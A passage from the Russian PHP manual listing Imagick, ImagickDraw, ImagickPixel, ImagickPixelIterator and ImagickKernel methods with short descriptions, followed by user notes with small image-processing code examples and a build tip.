    • Imagick::getImageColormapColor — Возвращает цвет указанного индекса палитры
    • Imagick::getImageColors — Возвращает число уникальных цветов в изображении
    • Imagick::getImageColorspace — Возвращает цветовую палитру изображения
    • Imagick::getImageCompose — Возвращает составной оператор, связанный с изображением
    • Imagick::getImageCompression — Возвращает текущий тип компрессии изображения
    • Imagick::getImageCompressionQuality — Возвращает текущее качество сжатия изображения
    • Imagick::getImageDelay — Возвращает задержку изображения
    • Imagick::getImageDepth — Возвращает глубину изображения
    • Imagick::getImageDispose — Возвращает метод удаления изображения
    • Imagick::getImageDistortion — Сравнивает изображение с восстановленным изображением
    • Imagick::getImageExtrema — Возвращает экстремумы изображения
    • Imagick::getImageFilename — Возвращает имя файла конкретного изображения в последовательности
    • Imagick::getImageFormat — Возвращает формат конкретного изображения в последовательности
    • Imagick::getImageGamma — Возвращает гамму изображения
    • Imagick::getImageGeometry — Возвращает ширину и высоту в виде ассоциативного массива
    • Imagick::getImageGravity — Возвращает значение гравитации (притяжения)
    • Imagick::getImageGreenPrimary — Возвращает первичную точку цветности зелёного
    • Imagick::getImageHeight — Возвращает высоту изображения
    • Imagick::getImageHistogram — Возвращает гистограмму изображения
    • Imagick::getImageIndex — Возвращает индекс текущего активного изображения
    • Imagick::getImageInterlaceScheme — Получает схему чересстрочного изображения
    • Imagick::getImageInterpolateMethod — Возвращает метод интерполяции
    • Imagick::getImageIterations — Возвращает итерации изображения
    • Imagick::getImageLength — Возвращает длину изображения в байтах
    • Imagick::getImageMatte — Возвращает, если изображение содержит матовый канал
    • Imagick::getImageMatteColor — Возвращает матовый цвет изображения
    • Imagick::getImageMimeType — Возвращает MIME-тип изображения
    • Imagick::getImageOrientation — Возвращает ориентацию изображения
    • Imagick::getImagePage — Возвращает геометрию страницы
    • Imagick::getImagePixelColor — Возвращает цвет указанного пикселя
    • Imagick::getImageProfile — Возвращает именованный профиль изображения
    • Imagick::getImageProfiles — Возвращает профили изображений
    • Imagick::getImageProperties — Возвращает свойства изображения
    • Imagick::getImageProperty — Возвращает именованное свойство изображения
    • Imagick::getImageRedPrimary — Возвращает красную первичную точку цветности
    • Imagick::getImageRegion — Извлекает область изображения
    • Imagick::getImageRenderingIntent — Возвращает схему цветопередачи изображения
    • Imagick::getImageResolution — Возвращает разрешение изображения по X и Y
    • Imagick::getImagesBlob — Возвращает все последовательности изображений в виде большого двоичного объекта
    • Imagick::getImageScene — Возвращает сцену изображения
    • Imagick::getImageSignature — Генерирует хеш SHA-256
    • Imagick::getImageSize — Возвращает размер изображения в байтах
    • Imagick::getImageTicksPerSecond — Получает количество кадров в секунду для изображения
    • Imagick::getImageTotalInkDensity — Возвращает общую плотность чернил изображения
    • Imagick::getImageType — Возвращает возможный тип изображения
    • Imagick::getImageUnits — Возвращает единицы измерения разрешения изображения
    • Imagick::getImageVirtualPixelMethod — Возвращает метод виртуального пикселя
    • Imagick::getImageWhitePoint — Возвращает белую точку цветности
    • Imagick::getImageWidth — Возвращает ширину изображения
    • Imagick::getInterlaceScheme — Получает схему сжатия изображения
    • Imagick::getIteratorIndex — Возвращает индекс текущего активного изображения
    • Imagick::getNumberImages — Возвращает количество изображений в объекте
    • Imagick::getOption — Возвращает значение, связанное с указанным ключом
    • Imagick::getPackageName — Возвращает имя пакета ImageMagick
    • Imagick::getPage — Возвращает геометрию страницы
    • Imagick::getPixelIterator — Возвращает MagickPixelIterator
    • Imagick::getPixelRegionIterator — Возвращает объект ImagickPixelIterator для секции изображения
    • Imagick::getPointSize — Возвращает размер точки
    • Imagick::getQuantum — Возвращает квантовый диапазон ImageMagick
    • Imagick::getQuantumDepth — Возвращает величину глубины
    • Imagick::getQuantumRange — Возвращает величину размера спектра Imagick
    • Imagick::getRegistry — Получает запись StringRegistry
    • Imagick::getReleaseDate — Возвращает дату релиза ImageMagick
    • Imagick::getResource — Возвращает размер используемой памяти указанного ресурса
    • Imagick::getResourceLimit — Возвращает заданный лимит ресурсов
    • Imagick::getSamplingFactors — Возвращает горизонтальный и вертикальный фактор выборки
    • Imagick::getSize — Возвращает размер, связанный с объектом Imagick
    • Imagick::getSizeOffset — Возвращает размер смещения
    • Imagick::getVersion — Возвращает версию API ImageMagick
    • Imagick::haldClutImage — Заменяет цвета в изображении
    • Imagick::hasNextImage — Проверяет, содержит ли объект больше изображений
    • Imagick::hasPreviousImage — Проверяет, есть ли у объекта предыдущее изображение
    • Imagick::identifyFormat — Заменяет любые встроенные символы форматирования соответствующим свойством изображения
    • Imagick::identifyImage — Определяет изображение и получает атрибуты
    • Imagick::implodeImage — Создаёт копию изображения
    • Imagick::importImagePixels — Импортирует пиксели изображения
    • Imagick::inverseFourierTransformImage — Реализует дискретное преобразование Фурье
    • Imagick::labelImage — Добавляет метку к изображению
    • Imagick::levelImage — Регулирует уровни изображения
    • Imagick::linearStretchImage — Растягивает с насыщением яркость изображения
    • Imagick::liquidRescaleImage — Анимирует изображение или изображения
    • Imagick::listRegistry — Перечисляет все настройки реестра
    • Imagick::magnifyImage — Пропорционально масштабирует изображение в два раза
    • Imagick::mapImage — Заменяет цвета изображения на ближайший цвет из эталонного изображения
    • Imagick::matteFloodfillImage — Изменяет значение прозрачности цвета
    • Imagick::medianFilterImage — Применяет цифровой фильтр
    • Imagick::mergeImageLayers — Объединяет слои изображения
    • Imagick::minifyImage — Масштабирует изображение пропорционально половине его размера
    • Imagick::modulateImage — Управляйте яркостью, насыщенностью и оттенком
    • Imagick::montageImage — Создаёт составное изображение
    • Imagick::morphImages — Преобразует набор изображений
    • Imagick::morphology — Применяет к изображению ядро, предоставленное пользователем, в соответствии с заданным методом морфологии
    • Imagick::mosaicImages — Формирует мозаику из изображений
    • Imagick::motionBlurImage — Имитирует размытие в движении
    • Imagick::negateImage — Инвертирует цвета в эталонном изображении
    • Imagick::newImage — Создаёт новое изображение
    • Imagick::newPseudoImage — Создаёт новое изображение
    • Imagick::nextImage — Переходит к следующему изображению
    • Imagick::normalizeImage — Повышает контрастность цветного изображения
    • Imagick::oilPaintImage — Имитирует картину маслом
    • Imagick::opaquePaintImage — Изменяет значение цвета любого пикселя, соответствующего целевому
    • Imagick::optimizeImageLayers — Удаляет повторяющиеся части изображений для оптимизации
    • Imagick::orderedPosterizeImage — Выполняет упорядоченный дизеринг
    • Imagick::paintFloodfillImage — Изменяет значение цвета любого пикселя, соответствующего цели
    • Imagick::paintOpaqueImage — Изменяет любой пиксель, соответствующий цвету
    • Imagick::paintTransparentImage — Изменяет любой пиксель, соответствующий цвету, на цвет, определённый заливкой
    • Imagick::pingImage — Получает основные атрибуты изображения
    • Imagick::pingImageBlob — Быстро извлекает атрибуты
    • Imagick::pingImageFile — Получает базовые атрибуты изображения упрощённым способом
    • Imagick::polaroidImage — Имитирует фото Polaroid
    • Imagick::posterizeImage — Уменьшает изображение до ограниченного количества уровней цвета
    • Imagick::previewImages — Быстрое определение подходящих параметров для обработки изображений
    • Imagick::previousImage — Переходит к предыдущему изображению в объекте
    • Imagick::profileImage — Добавляет или удаляет профиль изображения
    • Imagick::quantizeImage — Анализирует цвета эталонного изображения
    • Imagick::quantizeImages — Анализирует цвета в последовательности изображений
    • Imagick::queryFontMetrics — Возвращает массив, представляющий метрики шрифта
    • Imagick::queryFonts — Возвращает настроенные шрифты
    • Imagick::queryFormats — Возвращает форматы, поддерживаемые Imagick
    • Imagick::radialBlurImage — Радиальное размытие изображения
    • Imagick::raiseImage — Создаёт имитацию эффекта 3D-кнопки
    • Imagick::randomThresholdImage — Создаёт высококонтрастное двухцветное изображение
    • Imagick::readImage — Читает изображение из файла
    • Imagick::readImageBlob — Считывает изображение из двоичной строки
    • Imagick::readImageFile — Читает изображение из открытого дескриптора файла
    • Imagick::readimages — Читает изображение из массива имён файлов
    • Imagick::recolorImage — Перекрашивает изображение
    • Imagick::reduceNoiseImage — Сглаживает контуры изображения
    • Imagick::remapImage — Переназначает цвета изображения
    • Imagick::removeImage — Удаляет изображение из списка изображений
    • Imagick::removeImageProfile — Удаляет именованный профиль изображения и возвращает его
    • Imagick::render — Отображает все предыдущие команды рисования
    • Imagick::resampleImage — Преобразует изображение к желаемому разрешению
    • Imagick::resetImagePage — Сбрасывает страницу изображения
    • Imagick::resizeImage — Масштабирует изображение
    • Imagick::rollImage — Смещает изображение
    • Imagick::rotateImage — Поворачивает изображение
    • Imagick::rotationalBlurImage — Применяет вращательное размытие к изображению
    • Imagick::roundCorners — Скругляет углы изображения
    • Imagick::sampleImage — Масштабирует изображение с пиксельной выборкой
    • Imagick::scaleImage — Масштабирует размер изображения
    • Imagick::segmentImage — Сегментирует изображение
    • Imagick::selectiveBlurImage — Выборочное размытие изображения в пределах порогового значения контрастности
    • Imagick::separateImageChannel — Отделяет канал от изображения
    • Imagick::sepiaToneImage — Тонирование изображения сепией
    • Imagick::setBackgroundColor — Устанавливает цвет фона объекта по умолчанию
    • Imagick::setColorspace — Устанавливает цветовое пространство
    • Imagick::setCompression — Устанавливает тип сжатия объекта по умолчанию
    • Imagick::setCompressionQuality — Устанавливает качество сжатия объекта по умолчанию
    • Imagick::setFilename — Устанавливает имя файла перед чтением или записью изображения
    • Imagick::setFirstIterator — Устанавливает итератор Imagick для первого изображения
    • Imagick::setFont — Устанавливает шрифт
    • Imagick::setFormat — Устанавливает формат объекта Imagick
    • Imagick::setGravity — Устанавливает гравитацию
    • Imagick::setImage — Заменяет изображение в объекте
    • Imagick::setImageAlphaChannel — Устанавливает альфа-канал изображения
    • Imagick::setImageArtifact — Устанавливает артефакт изображения
    • Imagick::setImageAttribute — Устанавливает атрибут изображения
    • Imagick::setImageBackgroundColor — Устанавливает цвет фона изображения
    • Imagick::setImageBias — Устанавливает смещение изображения для любого метода, который свёртывает изображение
    • Imagick::setImageBiasQuantum — Устанавливает смещение изображения
    • Imagick::setImageBluePrimary — Устанавливает цветность изображения голубой основной точкой
    • Imagick::setImageBorderColor — Устанавливает цвет рамки изображения
    • Imagick::setImageChannelDepth — Устанавливает глубину определённого канала изображения
    • Imagick::setImageClipMask — Устанавливает маску клипа
    • Imagick::setImageColormapColor — Устанавливает цвет указанного индекса цветовой карты
    • Imagick::setImageColorspace — Устанавливает цветовое пространство изображения
    • Imagick::setImageCompose — Устанавливает оператор составного изображения
    • Imagick::setImageCompression — Устанавливает сжатие изображения
    • Imagick::setImageCompressionQuality — Устанавливает качество сжатия изображения
    • Imagick::setImageDelay — Устанавливает задержку изображения
    • Imagick::setImageDepth — Устанавливает глубину изображения
    • Imagick::setImageDispose — Устанавливает метод удаления изображения
    • Imagick::setImageExtent — Устанавливает размер изображения
    • Imagick::setImageFilename — Устанавливает имя файла конкретного изображения
    • Imagick::setImageFormat — Устанавливает формат определённого изображения
    • Imagick::setImageGamma — Устанавливает гамму изображения
    • Imagick::setImageGravity — Устанавливает гравитацию изображения
    • Imagick::setImageGreenPrimary — Устанавливает цветность изображения зелёной первичной точкой
    • Imagick::setImageIndex — Устанавливает позицию итератора
    • Imagick::setImageInterlaceScheme — Устанавливает сжатие изображения
    • Imagick::setImageInterpolateMethod — Устанавливает метод интерполяции пикселей изображения
    • Imagick::setImageIterations — Устанавливает итерации изображения
    • Imagick::setImageMatte — Устанавливает матовый канал изображения
    • Imagick::setImageMatteColor — Устанавливает матовый цвет изображения
    • Imagick::setImageOpacity — Устанавливает уровень непрозрачности изображения
    • Imagick::setImageOrientation — Устанавливает ориентацию изображения
    • Imagick::setImagePage — Устанавливает геометрию страницы изображения
    • Imagick::setImageProfile — Добавляет именованный профиль к объекту Imagick
    • Imagick::setImageProperty — Устанавливает свойство изображения
    • Imagick::setImageRedPrimary — Устанавливает красную первичную точку цветности изображения
    • Imagick::setImageRenderingIntent — Устанавливает схему цветопередачи изображения
    • Imagick::setImageResolution — Устанавливает разрешение изображения
    • Imagick::setImageScene — Устанавливает сцену изображения
    • Imagick::setImageTicksPerSecond — Устанавливает продолжительность отображения кадра
    • Imagick::setImageType — Устанавливает тип изображения
    • Imagick::setImageUnits — Устанавливает единицы измерения разрешения изображения
    • Imagick::setImageVirtualPixelMethod — Устанавливает метод виртуального пикселя
    • Imagick::setImageWhitePoint — Устанавливает белую точку цветности изображения
    • Imagick::setInterlaceScheme — Устанавливает сжатие изображения
    • Imagick::setIteratorIndex — Устанавливает позицию итератора
    • Imagick::setLastIterator — Устанавливает итератор Imagick к последнему изображению
    • Imagick::setOption — Устанавливает опцию
    • Imagick::setPage — Устанавливает геометрию страницы объекта Imagick
    • Imagick::setPointSize — Устанавливает размер точки
    • Imagick::setProgressMonitor — Устанавливает callback-функцию, которая будет вызываться во время обработки изображения Imagick
    • Imagick::setRegistry — Устанавливает значение для записи реестра ImageMagick с именем key
    • Imagick::setResolution — Устанавливает разрешение изображения
    • Imagick::setResourceLimit — Устанавливает лимит для конкретного ресурса
    • Imagick::setSamplingFactors — Устанавливает коэффициенты выборки изображений
    • Imagick::setSize — Устанавливает размер объекта Imagick
    • Imagick::setSizeOffset — Устанавливает размер и смещение объекта Imagick
    • Imagick::setType — Устанавливает атрибут типа изображения
    • Imagick::shadeImage — Создаёт 3D-эффект
    • Imagick::shadowImage — Имитирует тень изображения
    • Imagick::sharpenImage — Повышает резкость изображения
    • Imagick::shaveImage — Удаляет пиксели по краям изображения
    • Imagick::shearImage — Создаёт параллелограмм
    • Imagick::sigmoidalContrastImage — Регулирует контраст изображения
    • Imagick::sketchImage — Имитирует набросок карандашом
    • Imagick::smushImages — Берёт все изображения из текущего указателя изображения в конец списка изображений и перемещает их
    • Imagick::solarizeImage — Применяет к изображению эффект соляризации
    • Imagick::sparseColorImage — Интерполирует цвета
    • Imagick::spliceImage — Склеивает сплошной цвет в изображение
    • Imagick::spreadImage — Случайно смещает каждый пиксель в блоке
    • Imagick::statisticImage — Модификация изображения с помощью функции статистики
    • Imagick::steganoImage — Скрывает цифровой водяной знак в изображении
    • Imagick::stereoImage — Объединяет два изображения
    • Imagick::stripImage — Снимает изображение всех профилей и комментариев
    • Imagick::subImageMatch — Выполняет поиск фрагмента изображения в текущем изображении и возвращает второстепенное изображение
    • Imagick::swirlImage — Закручивает пиксели вокруг центра изображения
    • Imagick::textureImage — Многократно размещает изображение текстуры
    • Imagick::thresholdImage — Изменяет отдельные пиксели на основе порогового значения
    • Imagick::thumbnailImage — Изменяет размер изображения
    • Imagick::tintImage — Применяет вектор цвета к каждому пикселю изображения
    • Imagick::__toString — Возвращает изображение в виде строки
    • Imagick::transformImage — Удобный метод настройки размера кадрирования и геометрии изображения
    • Imagick::transformImageColorspace — Преобразует изображение в новое цветовое пространство
    • Imagick::transparentPaintImage — Рисует пиксели прозрачными
    • Imagick::transposeImage — Создаёт вертикальное зеркальное отображение
    • Imagick::transverseImage — Создаёт горизонтальное зеркальное отображение
    • Imagick::trimImage — Удаляет края с изображения
    • Imagick::uniqueImageColors — Отбрасывает всё, кроме одного, любого цвета пикселя
    • Imagick::unsharpMaskImage — Резкость изображения
    • Imagick::valid — Проверяет, является ли текущий элемент корректным
    • Imagick::vignetteImage — Добавляет виньетный фильтр к изображению
    • Imagick::waveImage — Применяет волновой фильтр к изображению
    • Imagick::whiteThresholdImage — Закрашивает все пиксели выше порога в белый
    • Imagick::writeImage — Записывает изображение по указанному имени файла
    • Imagick::writeImageFile — Записывает изображение в файл
    • Imagick::writeImages — Записывает изображение или последовательность изображений
    • Imagick::writeImagesFile — Записывает фреймы в файловый дескриптор
  • ImagickDraw — Класс ImagickDraw
    • ImagickDraw::affine — Регулирует текущую матрицу аффинного преобразования
    • ImagickDraw::annotation — Рисует текст на картинке
    • ImagickDraw::arc — Рисует дугу
    • ImagickDraw::bezier — Рисует кривую Безье
    • ImagickDraw::circle — Рисует круг
    • ImagickDraw::clear — Очищает ImagickDraw
    • ImagickDraw::clone — Делает точную копию указанного объекта ImagickDraw
    • ImagickDraw::color — Рисует цвет на изображении
    • ImagickDraw::comment — Добавляет комментарий
    • ImagickDraw::composite — Накладывает изображение на текущее изображение
    • ImagickDraw::__construct — Конструктор класса ImagickDraw
    • ImagickDraw::destroy — Освобождает все связанные ресурсы
    • ImagickDraw::ellipse — Рисует на изображении эллипс
    • ImagickDraw::getClipPath — Возвращает идентификатор текущего обтравочного контура
    • ImagickDraw::getClipRule — Возвращает текущее правило заливки многоугольника
    • ImagickDraw::getClipUnits — Возвращает интерпретацию единиц обтравочного контура
    • ImagickDraw::getFillColor — Возвращает цвет заливки
    • ImagickDraw::getFillOpacity — Возвращает непрозрачность, используемую при рисовании
    • ImagickDraw::getFillRule — Возвращает правило заливки
    • ImagickDraw::getFont — Возвращает шрифт
    • ImagickDraw::getFontFamily — Возвращает семейство шрифтов
    • ImagickDraw::getFontSize — Возвращает размер шрифта
    • ImagickDraw::getFontStretch — Получает растяжение шрифта, используемое при аннотации текста
    • ImagickDraw::getFontStyle — Возвращает стиль шрифта
    • ImagickDraw::getFontWeight — Возвращает толщину шрифта
    • ImagickDraw::getGravity — Возвращает гравитацию размещения текста
    • ImagickDraw::getStrokeAntialias — Возвращает текущую настройку сглаживания обводки
    • ImagickDraw::getStrokeColor — Возвращает цвет, используемый для обводки контуров объекта
    • ImagickDraw::getStrokeDashArray — Возвращает массив, представляющий паттерн из штрихов и пробелов, используемых для обводки контуров
    • ImagickDraw::getStrokeDashOffset — Возвращает смещение в штриховом паттерне для начала штриховки
    • ImagickDraw::getStrokeLineCap — Возвращает форму, которая будет использоваться в конце открытых внутренних контуров при их обводке
    • ImagickDraw::getStrokeLineJoin — Возвращает форму, которая будет использоваться в углах контуров при их обводке
    • ImagickDraw::getStrokeMiterLimit — Возвращает предел среза обводки
    • ImagickDraw::getStrokeOpacity — Возвращает непрозрачность обведённых контуров объекта
    • ImagickDraw::getStrokeWidth — Возвращает ширину обводки, используемой для рисования контуров объекта
    • ImagickDraw::getTextAlignment — Возвращает выравнивание текста
    • ImagickDraw::getTextAntialias — Возвращает текущую настройку сглаживания текста
    • ImagickDraw::getTextDecoration — Возвращает оформление текста
    • ImagickDraw::getTextEncoding — Возвращает кодовый набор, используемый для текстовых аннотаций
    • ImagickDraw::getTextInterlineSpacing — Возвращает межстрочный интервал текста
    • ImagickDraw::getTextInterwordSpacing — Возвращает межсловный интервал текста
    • ImagickDraw::getTextKerning — Возвращает межбуквенный интервал текста
    • ImagickDraw::getTextUnderColor — Возвращает цвет под текстом
    • ImagickDraw::getVectorGraphics — Возвращает строку, содержащую векторную графику
    • ImagickDraw::line — Рисует линию
    • ImagickDraw::matte — Закрашивает канал непрозрачности изображения
    • ImagickDraw::pathClose — Добавляет элемент пути к текущему пути
    • ImagickDraw::pathCurveToAbsolute — Рисует кубическую кривую Безье
    • ImagickDraw::pathCurveToQuadraticBezierAbsolute — Рисует квадратичную кривую Безье
    • ImagickDraw::pathCurveToQuadraticBezierRelative — Рисует квадратичную кривую Безье
    • ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute — Рисует квадратичную кривую Безье
    • ImagickDraw::pathCurveToQuadraticBezierSmoothRelative — Рисует квадратичную кривую Безье
    • ImagickDraw::pathCurveToRelative — Рисует кубическую кривую Безье
    • ImagickDraw::pathCurveToSmoothAbsolute — Рисует кубическую кривую Безье
    • ImagickDraw::pathCurveToSmoothRelative — Рисует кубическую кривую Безье
    • ImagickDraw::pathEllipticArcAbsolute — Рисует эллиптическую дугу
    • ImagickDraw::pathEllipticArcRelative — Рисует эллиптическую дугу
    • ImagickDraw::pathFinish — Завершает текущий путь
    • ImagickDraw::pathLineToAbsolute — Рисует линию
    • ImagickDraw::pathLineToHorizontalAbsolute — Рисует горизонтальную линию
    • ImagickDraw::pathLineToHorizontalRelative — Рисует горизонтальную линию
    • ImagickDraw::pathLineToRelative — Рисует линию
    • ImagickDraw::pathLineToVerticalAbsolute — Рисует вертикальную линию
    • ImagickDraw::pathLineToVerticalRelative — Рисует вертикальную линию
    • ImagickDraw::pathMoveToAbsolute — Начинает новый внутренний контур
    • ImagickDraw::pathMoveToRelative — Начинает новый внутренний контур
    • ImagickDraw::pathStart — Объявляет начало отрисовки контура
    • ImagickDraw::point — Рисует точку
    • ImagickDraw::polygon — Рисует многоугольник
    • ImagickDraw::polyline — Рисует ломаную линию
    • ImagickDraw::pop — Уничтожает текущий объект ImagickDraw в стеке и возвращается к ранее добавленному объекту ImagickDraw
    • ImagickDraw::popClipPath — Завершает определение пути обтравочного контура
    • ImagickDraw::popDefs — Завершает список определений
    • ImagickDraw::popPattern — Завершает определение шаблона
    • ImagickDraw::push — Клонирует текущий объект ImagickDraw и добавляет его в стек
    • ImagickDraw::pushClipPath — Запускает определение пути обтравочного контура
    • ImagickDraw::pushDefs — Указывает, что следующие команды создают именованные элементы для ранней обработки
    • ImagickDraw::pushPattern — Указывает, что последующие команды вплоть до ImagickDraw::opPattern() составляют определение именованного паттерна
    • ImagickDraw::rectangle — Рисует прямоугольник
    • ImagickDraw::render — Отрисовывает все предыдущие команды рисования на изображении
    • ImagickDraw::resetVectorGraphics — Сбрасывает векторную графику
    • ImagickDraw::rotate — Применяет указанный поворот к текущему координатному пространству
    • ImagickDraw::roundRectangle — Рисует прямоугольник с закруглёнными углами
    • ImagickDraw::scale — Регулирует коэффициент масштабирования
    • ImagickDraw::setClipPath — Связывает именованный контур обтравочного контура с изображением
    • ImagickDraw::setClipRule — Устанавливает правило заливки многоугольника, которое будет использоваться обтравочным контуром
    • ImagickDraw::setClipUnits — Устанавливает интерпретацию единиц траектории обтравочного контура
    • ImagickDraw::setFillAlpha — Устанавливает непрозрачность при рисовании с использованием цвета или текстуры заливки
    • ImagickDraw::setFillColor — Устанавливает цвет заливки, используемый для рисования объектов с заливкой
    • ImagickDraw::setFillOpacity — Устанавливает непрозрачность при рисовании с использованием цвета или текстуры заливки
    • ImagickDraw::setFillPatternURL — Устанавливает URL-адрес для использования в качестве образца заливки для заливки объектов
    • ImagickDraw::setFillRule — Устанавливает правило заливки для использования при рисовании полигонов
    • ImagickDraw::setFont — Устанавливает указанный шрифт для использования при аннотировании текстом
    • ImagickDraw::setFontFamily — Устанавливает семейство шрифтов для использования при аннотировании текстом
    • ImagickDraw::setFontSize — Устанавливает размер шрифта для использования при аннотировании текстом
    • ImagickDraw::setFontStretch — Устанавливает растяжение шрифта для использования при аннотировании текстом
    • ImagickDraw::setFontStyle — Устанавливает стиль шрифта для использования при аннотировании текстом
    • ImagickDraw::setFontWeight — Устанавливает толщину шрифта
    • ImagickDraw::setGravity — Устанавливает гравитацию размещения текста
    • ImagickDraw::setResolution — Устанавливает разрешение
    • ImagickDraw::setStrokeAlpha — Определяет непрозрачность обводки контуров объекта
    • ImagickDraw::setStrokeAntialias — Управляет сглаживанием обводок контуров
    • ImagickDraw::setStrokeColor — Устанавливает цвет, используемый для обводки контуров объекта
    • ImagickDraw::setStrokeDashArray — Задаёт паттерн из штрихов и пробелов, используемых для обводки контуров
    • ImagickDraw::setStrokeDashOffset — Задаёт смещение в штриховом паттерне для начала штриховки
    • ImagickDraw::setStrokeLineCap — Задаёт форму, которая будет использоваться в конце открытых внутренних контуров при их обводке
    • ImagickDraw::setStrokeLineJoin — Задаёт форму, которая будет использоваться в углах контуров при их обводке
    • ImagickDraw::setStrokeMiterLimit — Задаёт предел среза обводки
    • ImagickDraw::setStrokeOpacity — Определяет непрозрачность обводки контуров объекта
    • ImagickDraw::setStrokePatternURL — Устанавливает паттерн, используемый для обводки контуров объекта
    • ImagickDraw::setStrokeWidth — Устанавливает ширину обводки, используемой для рисования контуров объекта
    • ImagickDraw::setTextAlignment — Задаёт выравнивание текста
    • ImagickDraw::setTextAntialias — Управляет сглаживанием текста
    • ImagickDraw::setTextDecoration — Определяет оформление
    • ImagickDraw::setTextEncoding — Задаёт кодовый набор текста
    • ImagickDraw::setTextInterlineSpacing — Устанавливает межстрочный интервал текста
    • ImagickDraw::setTextInterwordSpacing — Устанавливает межсловный интервал текста
    • ImagickDraw::setTextKerning — Устанавливает межбуквенный интервал текста
    • ImagickDraw::setTextUnderColor — Задаёт цвет фонового прямоугольника
    • ImagickDraw::setVectorGraphics — Устанавливает векторную графику
    • ImagickDraw::setViewbox — Устанавливает общий размер холста
    • ImagickDraw::skewX — Наклоняет текущую систему координат по горизонтали
    • ImagickDraw::skewY — Наклоняет текущую систему координат по вертикали
    • ImagickDraw::translate — Применяет перенос к текущей системе координат
  • ImagickPixel — Класс ImagickPixel
    • ImagickPixel::clear — Очищает ресурсы, связанные с этим объектом
    • ImagickPixel::__construct — Конструктор ImagickPixel
    • ImagickPixel::destroy — Освобождает ресурсы, связанные с этим объектом
    • ImagickPixel::getColor — Возвращает цвет
    • ImagickPixel::getColorAsString — Возвращает цвет в виде строки
    • ImagickPixel::getColorCount — Возвращает количество цветов связанных с этим цветом
    • ImagickPixel::getColorQuantum — Возвращает цвет пикселя в массиве в виде квантовых значений
    • ImagickPixel::getColorValue — Возвращает нормализованное значение цвета канала
    • ImagickPixel::getColorValueQuantum — Получает квантовое значение цвета в ImagickPixel
    • ImagickPixel::getHSL — Возвращает нормализованный HSL-цвет объекта ImagickPixel
    • ImagickPixel::getIndex — Получает индекс цветовой карты пиксельной палочки
    • ImagickPixel::isPixelSimilar — Проверяет расстояние между этим цветом и другим
    • ImagickPixel::isPixelSimilarQuantum — Возвращает true, если расстояние между двумя цветами меньше указанного расстояния
    • ImagickPixel::isSimilar — Проверить разницу между этим цветом и другим
    • ImagickPixel::setColor — Устанавливает цвет
    • ImagickPixel::setColorCount — Устанавливает количество цветов, связанных с этим цветом
    • ImagickPixel::setColorValue — Устанавливает нормализованное значение одного из каналов
    • ImagickPixel::setColorValueQuantum — Устанавливает квантовое значение цветового элемента ImagickPixel
    • ImagickPixel::setHSL — Установка нормализованного HSL цвета
    • ImagickPixel::setIndex — Устанавливает индекс цветовой карты пиксельной палочки
  • ImagickPixelIterator — Класс ImagickPixelIterator
    • ImagickPixelIterator::clear — Очищает ресурсы, связанные с PixelIterator
    • ImagickPixelIterator::__construct — Конструктор ImagickPixelIterator
    • ImagickPixelIterator::destroy — Освобождает ресурсы, связанные с PixelIterator
    • ImagickPixelIterator::getCurrentIteratorRow — Возвращает текущий ряд объекта ImagickPixel
    • ImagickPixelIterator::getIteratorRow — Возвращает текущий пиксель итератора ряда
    • ImagickPixelIterator::getNextIteratorRow — Возвращает следующий ряд итератора пикселей
    • ImagickPixelIterator::getPreviousIteratorRow — Возвращает предыдущий ряд
    • ImagickPixelIterator::newPixelIterator — Возвращает новый итератор пикселей
    • ImagickPixelIterator::newPixelRegionIterator — Возвращает новый итератор пикселей
    • ImagickPixelIterator::resetIterator — Сбрасывает итератор пикселей
    • ImagickPixelIterator::setIteratorFirstRow — Устанавливает итератор пикселей на первый ряд
    • ImagickPixelIterator::setIteratorLastRow — Устанавливает итератор пикселей на последний ряд
    • ImagickPixelIterator::setIteratorRow — Устанавливает номер ряда в итераторе пикселей
    • ImagickPixelIterator::syncIterator — Синхронизирует итератор пикселей
  • ImagickKernel — Класс ImagickKernel
    • ImagickKernel::addKernel — Присоединяет другое ядро к этому ядру
    • ImagickKernel::addUnityKernel — Добавляет ядро Unity в список ядер
    • ImagickKernel::fromBuiltIn — Создаёт ядро из встроенного ядра
    • ImagickKernel::fromMatrix — Создаёт ядро из двумерной матрицы значений
    • ImagickKernel::getMatrix — Получает 2d матрицу значений, используемых в этом ядре
    • ImagickKernel::scale — Масштабирует список ядер на заданную величину
    • ImagickKernel::separate — Разделяет связанный набор ядер и возвращает массив ImagickKernels

User Contributed Notes

carlosvanhalen7 at gmail dot com 06-Mar-2013 07:09
Here's a handy function that finds the first occurrence of a specific pixel. You can set the tolerance of the color you are looking for, or set it to 0 if want an exact match

<?php

function findPixel($img, $r, $g, $b, $tolerance=5)
{
    $original_                 = new Imagick($img);
    $height                    = 0;
    $width                    = 0;
    list($width, $height)    = getimagesize($img);
    $matrix_org                = array();
    $matrix_mrk                = array();

    for( $x = 0 ; $x < $width ; $x++){
        $matrix_org[$x]            = array();
        $matrix_mrk[$x]            = array();
    }

    for( $x = 0 ; $x < $width ; $x++ )
    {
        for( $y = 0 ; $y < $height ; $y++ ){
            $matrix_org[$x][$y]                = $original_->getImagePixelColor($x, $y)->getColorAsString();
            $colors                         = preg_replace('/[^-,0-9+$]/', '', $matrix_org[$x][$y]);
            $colors                            = explode(',', $colors);
            $r_org                            = $colors[0];
            $g_org                            = $colors[1];
            $b_org                            = $colors[2];

            if(     ( $r <= ($r_org+$tolerance) && $r >= ($r_org - $tolerance) )
                &&  ( $g <= ($g_org+$tolerance) && $g >= ($g_org - $tolerance) )
                &&  ( $b <= ($b_org+$tolerance) && $b >= ($b_org - $tolerance) ) )
            {
                return array( $x, $y );
            }
        }
    }

    return false;
}

?>
aem at teletype dot ru 30-Nov-2011 03:09
To configure and build imagick extension with phpize, you must first install libmagickwand-dev and libmagickcore-dev.

For example, "sudo apt-get install libmagickwand-dev libmagickcore-dev" and then phpize and ./configure.
Eero Niemi (eero at eero dot info) 08-Apr-2008 07:06
To load image (usually vector image, like PDF) with larger resolution than image's default is, you have to set resolution before reading the file, like this:

<?php
$im = new Imagick();
$im->setResolution( 300, 300 );
$im->readImage( "test.pdf" );
?>
mlong-php at mlong dot us 24-Oct-2007 01:11
The fit functionality of thumbnailImage doesn't work as one would anticipate. Instead, use this to make a thumbnail that has max of 200x82:

  // Create thumbnail max of 200x82
  $width=$im->getImageWidth();
  if ($width > 200) { $im->thumbnailImage(200,null,0); }

  $height=$im->getImageHeight();
  if ($height > 82) { $im->thumbnailImage(null,82,0); }
mlong-php at mlong dot us 24-Oct-2007 11:46
Here is an example on how to take an image that is already in a string (say, from a database), and resize it, add a border, and print it out. I use this for showing reseller logos

  // Decode image from base64
  $image=base64_decode($imagedata);

  // Create Imagick object
